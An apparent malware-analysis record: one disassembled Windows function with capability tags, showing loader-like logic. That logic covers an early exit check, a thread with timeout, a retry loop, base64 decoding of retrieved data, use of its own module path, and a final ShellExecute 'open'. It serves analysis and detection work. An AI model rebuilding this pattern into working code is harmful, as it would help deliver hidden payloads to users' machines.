Function at 0x10004b20
Capabilities:
Create process on windows
Create thread
Decode data using base64 via winapi
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.100047d0
test eax, eax
je 0x10004b42
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0
push 0x10002d30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10004b8c
push 0x1388
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x10004b82
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.100048c0
call fcn.100042b0
lea ecx, [ebp - 0x4c]
call fcn.10006550
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x4c]
call fcn.10006500
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp - 0x18]
call fcn.10004b00
test eax, eax
je 0x10004c3b
push 4
push 0x3000
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10004c33
push 0x100
mov ecx, dword [ebp - 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [ebp - 8]
call fcn.10003db0
push 0x8000
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 0x2c], 0
jne 0x10004c75
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
call fcn.10005860
add esp, 0xc
test eax, eax
jne 0x10004c6c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10004c73
mov dword [ebp - 0x2c], 1
jmp 0x10004c3b
lea ecx, [ebp - 0x4c]
call fcn.100064c0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], 0
cmp dword [ebp - 0xc], 0
je 0x10004cef
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x10], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1c], eax
push 0
push 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
push 1
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x10004ce8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x30], 1
call fcn.10004200
push 0x10012a48
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
cmp dword [ebp - 0x30], 0
je 0x10004d12
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
call fcn.100041d0
jmp 0x10004d1a
lea ecx, [ebp - 0x4c]
call fcn.10003ff0
push 0x10012a48
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
call fcn.10003c70
test eax, eax
je 0x10004d33
call fcn.100045b0
push 4
push 0x3000
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10004d7a
push 0x100
mov edx, dword [ebp - 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [ebp - 0x14]
call fcn.10003db0
push 0x8000
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [0x10012a44], 0
je 0x10004d9d
push 5
push 0
push 0
mov ecx, dword [0x10012a44]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]